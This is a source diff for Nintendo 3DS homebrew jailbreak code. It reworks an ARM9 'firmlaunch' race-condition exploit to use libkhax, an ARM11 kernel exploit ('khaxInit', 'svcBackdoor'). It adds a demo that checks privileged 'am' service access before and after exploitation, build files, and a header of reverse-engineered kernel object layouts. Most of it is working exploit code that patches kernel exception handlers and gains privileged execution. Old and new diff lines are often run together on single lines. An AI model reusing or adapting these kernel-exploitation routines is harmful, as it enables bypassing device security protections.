/* reads ARM9 payload from a given path. /* reads ARM9 payload from a given path.
filename: full path of payload filename: full path of payload
offset: offset of the payload in the file
max_psize: the maximum size of the payload that should be loaded (if 0, ARM9_MAX_PAYLOAD_SIZE. Should be smaller than ARM9_MAX_PAYLOAD_SIZE)
returns: 0 on failure, 1 on success */ returns: 0 on failure, 1 on success */
s32 load_arm9_payload (char *filename) { s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize) {
s32 result = 0; s32 result = 0;
u32 fsize = 0; u32 fsize = 0;
u32 psize = 0;
if (max_psize == 0 || max_psize > ARM9_PAYLOAD_MAX_SIZE)
max_psize = ARM9_PAYLOAD_MAX_SIZE;
if (!filename) if (!filename)
return result; return result;
@ -274,11 +199,19 @@ s32 load_arm9_payload (char *filename) {
if (f) { if (f) {
fseek(f , 0, SEEK_END); fseek(f , 0, SEEK_END);
fsize = ftell(f); fsize = ftell(f);
g_ext_arm9_size = fsize;
rewind(f); if (offset < fsize) {
if (fsize >= 8 && (fsize <= ARM9_PAYLOAD_MAX_SIZE)) { psize = fsize - offset;
u32 bytes_read = fread(g_ext_arm9_buf, 1, fsize, f); if (psize > max_psize)
result = (g_ext_arm9_loaded = (bytes_read == fsize)); psize = max_psize;
g_ext_arm9_size = psize;
fseek(f, offset, SEEK_SET);
if (psize >= 8) {
u32 bytes_read = fread(g_ext_arm9_buf, 1, psize, f);
result = (g_ext_arm9_loaded = (bytes_read == psize));
}
} }
fclose(f); fclose(f);
} }
@ -320,7 +253,7 @@ s32 map_arm9_payload (void) {
dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD); dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD);
if (!g_ext_arm9_loaded) { if (!g_ext_arm9_loaded) {
return 0; return 0;
} }
else { else {
// external ARM9 payload // external ARM9 payload
@ -328,8 +261,8 @@ s32 map_arm9_payload (void) {
size = g_ext_arm9_size; size = g_ext_arm9_size;
} }
if (size >= 0 && size <= ARM9_PAYLOAD_MAX_SIZE) { if (size <= ARM9_PAYLOAD_MAX_SIZE) {
memcpy(dst, src, size); memcpy((void *)dst, src, size);
result = 1; result = 1;
} }
@ -350,7 +283,7 @@ s32 map_arm11_payload (void) {
// TODO: sanitize 'size' // TODO: sanitize 'size'
if (size) { if (size) {
memcpy(dst, src, size); memcpy((void *)dst, src, size);
result_a = 1; result_a = 1;
} }
@ -363,7 +296,7 @@ s32 map_arm11_payload (void) {
// TODO sanitize 'size' // TODO sanitize 'size'
if (result_a && size) { if (result_a && size) {
memcpy(dst, src, size); memcpy((void *)dst, src, size);
result_b = 1; result_b = 1;
} }
@ -385,15 +318,16 @@ void exploit_arm9_race_condition (void) {
/* patch ARM11 kernel to force it to execute /* patch ARM11 kernel to force it to execute
our code (hook1 and hook2) as soon as a our code (hook1 and hook2) as soon as a
"firmlaunch" is triggered */ "firmlaunch" is triggered */
redirect_codeflow(g_expdata.va_exc_handler_base_X + redirect_codeflow((u32 *)(g_expdata.va_exc_handler_base_X +
OFFS_EXC_HANDLER_UNUSED, OFFS_EXC_HANDLER_UNUSED),
g_expdata.va_patch_hook1); (u32 *)g_expdata.va_patch_hook1);
redirect_codeflow(PA_EXC_HANDLER_BASE + redirect_codeflow((u32 *)(PA_EXC_HANDLER_BASE +
OFFS_EXC_HANDLER_UNUSED + 4, OFFS_EXC_HANDLER_UNUSED + 4),
g_expdata.va_patch_hook2); (u32 *)g_expdata.va_patch_hook2);
CleanEntireDataCache(); CleanEntireDataCache();
dsb();
InvalidateEntireInstructionCache(); InvalidateEntireInstructionCache();
// trigger ARM9 code execution through "firmlaunch" // trigger ARM9 code execution through "firmlaunch"
@ -403,45 +337,18 @@ void exploit_arm9_race_condition (void) {
return; return;
} }
/* - restores corrupted code of CreateThread() syscall */
void repair_svcCreateThread (void) {
asm volatile ("clrex");
CleanEntireDataCache();
InvalidateEntireInstructionCache();
// repair CreateThread()
*(u32 *)(g_expdata.va_patch_createthread) = 0x8DD00CE5;
CleanEntireDataCache();
InvalidateEntireInstructionCache();
return;
}
/* restore svcCreateThread code (not really required, /* restore svcCreateThread code (not really required,
but just to be on the safe side) */ but just to be on the safe side) */
s32 __attribute__((naked)) s32 priv_firm_reboot (void) {
priv_firm_reboot (void) { __asm__ volatile ("cpsid aif");
asm volatile ("add sp, sp, #8\t\n");
repair_svcCreateThread();
// Save the framebuffers for arm9, // Save the framebuffers for arm9,
u32 *save = (u32 *)(g_expdata.va_fcram_base + 0x3FFFE00); u32 *save = (u32 *)(g_expdata.va_fcram_base + 0x3FFFE00);
save[0] = topFramebufferInfo.framebuf0_vaddr; memcpy(save, frameBufferData, sizeof(u32) * sizeof(frameBufferData));
save[1] = topFramebufferInfo.framebuf1_vaddr;
save[2] = bottomFramebufferInfo.framebuf0_vaddr;
// Working around a GCC bug to translate the va address to pa... exploit_arm9_race_condition();
save[0] += 0xC000000; // (pa FCRAM address - va FCRAM address)
save[1] += 0xC000000;
save[2] += 0xC000000;
exploit_arm9_race_condition(); return 0;
asm volatile ("movs r0, #0\t\n"
"ldr pc, [sp], #4\t\n");
} }
/* perform firmlaunch. load ARM9 payload before calling this /* perform firmlaunch. load ARM9 payload before calling this
@ -450,12 +357,21 @@ priv_firm_reboot (void) {
s32 firm_reboot (void) { s32 firm_reboot (void) {
s32 fail_stage = 0; s32 fail_stage = 0;
// Make sure gfx is initialized
gfxInitDefault();
// Save the framebuffers for arm11.
frameBufferData[0] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_LEFT, NULL, NULL) + 0xC000000;
frameBufferData[1] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_RIGHT, NULL, NULL) + 0xC000000;
frameBufferData[2] = (u32)gfxGetFramebuffer(GFX_BOTTOM, 0, NULL, NULL) + 0xC000000;
gfxSwapBuffers();
fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */ fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */
if (setup_exploit_data()) { if (setup_exploit_data()) {
fail_stage++; /* failure while trying to corrupt svcCreateThread() */ fail_stage++; /* failure while trying to corrupt svcCreateThread() */
if (corrupt_svcCreateThread()) { if (khaxInit() == 0) {
fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/ fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/
svcCorruptedCreateThread(priv_firm_reboot); svcBackdoor(priv_firm_reboot);
} }
} }

View File

@ -1,7 +1,8 @@
#include <3ds.h> #include <3ds.h>
#include <stdio.h>
/* loop until key is pressed */ /* loop until key is pressed */
u32 wait_key (void) { void wait_key (void) {
hidScanInput(); hidScanInput();
u32 old_kDown, kDown; u32 old_kDown, kDown;
old_kDown = hidKeysDown(); old_kDown = hidKeysDown();
@ -17,7 +18,6 @@ u32 wait_key (void) {
gfxFlushBuffers(); gfxFlushBuffers();
gfxSwapBuffers(); gfxSwapBuffers();
} }
return kDown;
} }
/* convenience function */ /* convenience function */

View File

@ -0,0 +1,22 @@
The MIT License (MIT)
Copyright (c) 2015 Myriachan
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -0,0 +1,177 @@
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITARM)),)
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
endif
TOPDIR ?= $(CURDIR)
include $(DEVKITARM)/3ds_rules
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# DATA is a list of directories containing data files
# INCLUDES is a list of directories containing header files
#
# NO_SMDH: if set to anything, no SMDH file is generated.
# APP_TITLE is the name of the app stored in the SMDH file (Optional)
# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional)
# APP_AUTHOR is the author of the app stored in the SMDH file (Optional)
# ICON is the filename of the icon (.png), relative to the project folder.
# If not set, it attempts to use one of the following (in this order):
# - <Project name>.png
# - icon.png
# - <libctru folder>/default_icon.png
#---------------------------------------------------------------------------------
TARGET := $(notdir $(CURDIR))
BUILD := build
SOURCES := . ../
DATA := data
INCLUDES := include
APP_TITLE := khax
APP_DESCRIPTION := ARM11 KernelHax
APP_AUTHOR := Myria
ICON := logo.png
NO_SMDH := 1
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
CFLAGS := -g -Wall -O3 -mword-relocations \
-fomit-frame-pointer -ffast-math \
$(ARCH)
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DKHAX_DEBUG
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11
ASFLAGS := -g $(ARCH)
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
LIBS := -lctru -lm
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS := $(CTRULIB)
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export OUTPUT := $(CURDIR)/$(TARGET)
export TOPDIR := $(CURDIR)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
#---------------------------------------------------------------------------------
export LD := $(CC)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
export LD := $(CXX)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------
export OFILES := $(addsuffix .o,$(BINFILES)) \
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD)
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
ifeq ($(strip $(ICON)),)
icons := $(wildcard *.png)
ifneq (,$(findstring $(TARGET).png,$(icons)))
export APP_ICON := $(TOPDIR)/$(TARGET).png
else
ifneq (,$(findstring icon.png,$(icons)))
export APP_ICON := $(TOPDIR)/icon.png
endif
endif
else
export APP_ICON := $(TOPDIR)/$(ICON)
endif
.PHONY: $(BUILD) clean all
#---------------------------------------------------------------------------------
all: $(BUILD)
$(BUILD):
@echo $(SFILES)
@[ -d $@ ] || mkdir -p $@
@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf
#---------------------------------------------------------------------------------
else
DEPENDS := $(OFILES:.o=.d)
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
ifeq ($(strip $(NO_SMDH)),)
.PHONY: all
all : $(OUTPUT).3dsx $(OUTPUT).smdh
endif
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
$(OUTPUT).3dsx : $(OUTPUT).elf
$(OUTPUT).elf : $(OFILES)
#---------------------------------------------------------------------------------
# you need a rule like this for each extension you use as binary data
#---------------------------------------------------------------------------------
%.bin.o : %.bin
#---------------------------------------------------------------------------------
@echo $(notdir $<)
@$(bin2o)
# WARNING: This is not the right way to do this! TODO: Do it right!
#---------------------------------------------------------------------------------
%.vsh.o : %.vsh
#---------------------------------------------------------------------------------
@echo $(notdir $<)
@python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin
@bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h
@echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h
@rm ../$(notdir $<).shbin
-include $(DEPENDS)
#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------

View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.31101.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ctrklib", "ctrklib.vcxproj", "{80EE495D-0A84-4089-A93E-2B9E2BC38F94}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.ActiveCfg = Debug|Win32
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.Build.0 = Debug|Win32
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.ActiveCfg = Release|Win32
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,82 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{80EE495D-0A84-4089-A93E-2B9E2BC38F94}</ProjectGuid>
<RootNamespace>ctrklib</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<AdditionalIncludeDirectories>C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<AdditionalIncludeDirectories>C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="../khaxinit.cpp" />
<ClCompile Include="main.c" />
</ItemGroup>
<ItemGroup>
<None Include="Makefile" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="../khax.h" />
<ClInclude Include="../khaxinternal.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,36 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="../khaxinit.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<None Include="Makefile" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="../khaxinternal.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="../khax.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@ -0,0 +1,139 @@
#ifndef LIBKHAX_AS_LIB
#include <3ds.h>
#include <3ds/services/am.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#include "../khax.h"
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
s32 g_backdoorResult = -1;
s32 dump_chunk_wrapper()
{
__asm__ volatile("cpsid aif");
g_backdoorResult = 0x6666abcd;
return 0;
}
// Test access to "am" service, which we shouldn't have access to, unless khax succeeds.
Result test_am_access_inner(char *productCode)
{
// Title IDs of "mset" in the six regions
static const u64 s_msetTitleIDs[] =
{
0x0004001000020000, 0x0004001000021000, 0x0004001000022000,
0x0004001000026000, 0x0004001000027000, 0x0004001000028000
};
Result result;
char productCodeTemp[16 + 1];
unsigned x;
// Initialize "am"
result = amInit();
if (result != 0)
{
return result;
}
// Check for the existence of the title IDs.
for (x = 0; x < KHAX_lengthof(s_msetTitleIDs); ++x)
{
result = AM_GetTitleProductCode(0, s_msetTitleIDs[x], productCodeTemp);
if (result == 0)
{
memcpy(productCode, productCodeTemp, sizeof(productCodeTemp));
amExit();
return 0;
}
}
amExit();
return -1;
}
// Self-contained test.
void test_am_access_outer(int testNumber)
{
char productCode[16 + 1];
Result result = test_am_access_inner(productCode);
if (result != 0)
{
productCode[0] = '\0';
}
printf("amtest%d:%08lx %s\n", testNumber, result, productCode);
}
int main()
{
// Initialize services
/* srvInit(); // mandatory
aptInit(); // mandatory
hidInit(NULL); // input (buttons, screen)*/
gfxInitDefault(); // graphics
/* fsInit();
sdmcInit();
hbInit();
qtmInit();*/
consoleInit(GFX_BOTTOM, NULL);
consoleClear();
test_am_access_outer(1); // test before libkhax
Result result = khaxInit();
printf("khaxInit returned %08lx\n", result);
printf("backdoor returned %08lx\n", (svcBackdoor(dump_chunk_wrapper), g_backdoorResult));
test_am_access_outer(2); // test after libkhax
printf("khax demo main finished\n");
printf("Press X to exit\n");
khaxExit();
while (aptMainLoop())
{
// Wait next screen refresh
gspWaitForVBlank();
// Read which buttons are currently pressed
hidScanInput();
u32 kDown = hidKeysDown();
(void) kDown;
u32 kHeld = hidKeysHeld();
(void) kHeld;
// If START is pressed, break loop and quit
if (kDown & KEY_X){
break;
}
//consoleClear();
// Flush and swap framebuffers
gfxFlushBuffers();
gfxSwapBuffers();
}
// Exit services
/* qtmExit();
hbExit();
sdmcExit();
fsExit();*/
gfxExit();
/* hidExit();
aptExit();
srvExit();*/
// Return to hbmenu
return 0;
}
#endif // LIBKHAX_AS_LIB

View File

@ -0,0 +1,16 @@
#pragma once
#include <3ds.h>
#ifdef __cplusplus
extern "C" {
#endif
// Initialize and do the initial pwning of the ARM11 kernel.
Result khaxInit();
// Shut down libkhax
Result khaxExit();
#ifdef __cplusplus
}
#endif

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,337 @@
#pragma once
#ifdef KHAX_DEBUG
#define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()
#else
#define KHAX_printf(...) gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()
#endif
// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never
// actually compile this program.
#ifdef _MSC_VER
#undef ALIGN
#define ALIGN(x) __declspec(align(x))
#if _MSC_VER < 1900
#define alignof __alignof
#endif
#define KHAX_ATTRIBUTE(...)
#else
#define KHAX_ATTRIBUTE(...) __VA_ARGS__
#endif
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
#define KHAX_UNUSED(...) static_cast<void>(__VA_ARGS__)
//------------------------------------------------------------------------------------------------
namespace KHAX
{
//------------------------------------------------------------------------------------------------
// This code uses offsetof illegally (i.e. on polymorphic classes).
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Winvalid-offsetof"
//------------------------------------------------------------------------------------------------
// General linked list node kernel object.
struct KLinkedListNode
{
KLinkedListNode *next;
KLinkedListNode *prev;
void *data;
};
static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size.");
//------------------------------------------------------------------------------------------------
// Base class of reference-counted kernel objects.
class KAutoObject
{
public:
u32 m_refCount; // +004
protected:
virtual ~KAutoObject() {}
};
static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size.");
static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Base class of synchronizable objects.
class KSynchronizationObject : public KAutoObject
{
public:
u32 m_threadSyncCount; // +008
KLinkedListNode *m_threadSyncFirst; // +00C
KLinkedListNode *m_threadSyncLast; // +010
};
static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size.");
static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008,
"KSynchronizationObject isn't the expected layout.");
//------------------------------------------------------------------------------------------------
struct KDebugThread;
struct KThreadLocalPage;
class KCodeSet;
//------------------------------------------------------------------------------------------------
// Unofficial name
typedef u8 KSVCACL[0x80 / 8];
//------------------------------------------------------------------------------------------------
// ARM VFP register
union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister
{
float m_single[2];
double m_double;
};
static_assert(alignof(VFPRegister) == 0x004,
"VFPRegister isn't the expected alignment.");
static_assert(sizeof(VFPRegister) == 0x008,
"VFPRegister isn't the expected size.");
//------------------------------------------------------------------------------------------------
// SVC-mode register save area.
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
struct SVCRegisterState
{
u32 m_r4; // +000
u32 m_r5; // +004
u32 m_r6; // +008
u32 m_r7; // +00C
u32 m_r8; // +010
u32 m_r9; // +014
u32 m_sl; // +018
u32 m_fp; // +01C
u32 m_sp; // +020
u32 m_lr; // +024
};
static_assert(sizeof(SVCRegisterState) == 0x028,
"SVCRegisterState isn't the expected size.");
//------------------------------------------------------------------------------------------------
// SVC-mode thread state structure. This is the last part of the per-
// thread page allocated in 0xFF4XX000.
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
struct SVCThreadArea
{
KSVCACL m_svcAccessControl; // +000
u32 m_unknown010; // +010
u32 m_unknown014; // +014
SVCRegisterState m_svcRegisterState; // +018
VFPRegister m_vfpRegisters[16]; // +040
u32 m_unknown0C4; // +0C0
u32 m_fpexc; // +0C4
};
static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018,
"ThreadSVCArea isn't the expected layout.");
static_assert(sizeof(SVCThreadArea) == 0x0C8,
"ThreadSVCArea isn't the expected size.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a thread object.
class KThread : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
u32 m_unknown01C; // +01C
u32 m_unknown020; // +020
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_unknown02C; // +02C
u32 m_unknown030; // +030
u32 m_unknown034; // +034
KDebugThread *m_debugThread; // +038
s32 m_threadPriority; // +03C
void *m_waitingOnObject; // +040
u32 m_unknown044; // +044
KThread **m_schedulerUnknown048; // +048
void *m_arbitrationAddress; // +04C
u32 m_unknown050; // +050
u32 m_unknown054; // +054
u32 m_unknown058; // +058
KLinkedListNode *m_waitingOnList; // +05C
u32 m_unknownListCount; // +060
KLinkedListNode *m_unknownListHead; // +064
KLinkedListNode *m_unknownListTail; // +068
s32 m_threadPriority2; // +06C
s32 m_creatingProcessor; // +070
u32 m_unknown074; // +074
u32 m_unknown078; // +078
u16 m_unknown07C; // +07C
u8 m_threadType; // +07E
u8 m_padding07F; // +07F
void *m_process; // +080
u32 m_threadID; // +084
SVCRegisterState *m_svcRegisterState; // +088
void *m_svcPageEnd; // +08C
s32 m_idealProcessor; // +090
void *m_tlsUserMode; // +094
void *m_tlsKernelMode; // +098
u32 m_unknown09C; // +09C
KThread *m_prev; // +0A0
KThread *m_next; // +0A4
KThread **m_temporaryLinkedList; // +0A8
u32 m_unknown0AC; // +0B0
};
static_assert(sizeof(KThread) == 0x0B0,
"KThread isn't the expected size.");
static_assert(offsetof(KThread, m_svcRegisterState) == 0x088,
"KThread isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a process object.
// Version 1.0.0(?) - 7.2.0
class KProcess_1_0_0_Old : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
KThread *volatile m_interactingThread; // +01C
u16 m_unknown020; // +020
u16 m_unknown022; // +022
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_memoryBlockCount; // +02C
KLinkedListNode *m_memoryBlockFirst; // +030
KLinkedListNode *m_memoryBlockLast; // +034
u32 m_unknown038; // +038
u32 m_unknown03C; // +03C
void *m_translationTableBase; // +040
u8 m_contextID; // +044
u32 m_unknown048; // +048
u32 m_unknown04C; // +04C
u32 m_mmuTableSize; // +050
void *m_mmuTableAddress; // +054
u32 m_threadContextPagesSize; // +058
u32 m_threadLocalPageCount; // +05C
KLinkedListNode *m_threadLocalPageFirst; // +060
KLinkedListNode *m_threadLocalPageLast; // +064
u32 m_unknown068; // +068
s32 m_idealProcessor; // +06C
u32 m_unknown070; // +070
void *m_resourceLimits; // +074
u8 m_unknown078; // +078
u8 m_affinityMask; // +079
u32 m_threadCount; // +07C
KSVCACL m_svcAccessControl; // +080
u32 m_interruptFlags[0x80 / 32]; // +090
u32 m_kernelFlags; // +0A0
u16 m_handleTableSize; // +0A4
u16 m_kernelReleaseVersion; // +0A6
KCodeSet *m_codeSet; // +0A8
u32 m_processID; // +0AC
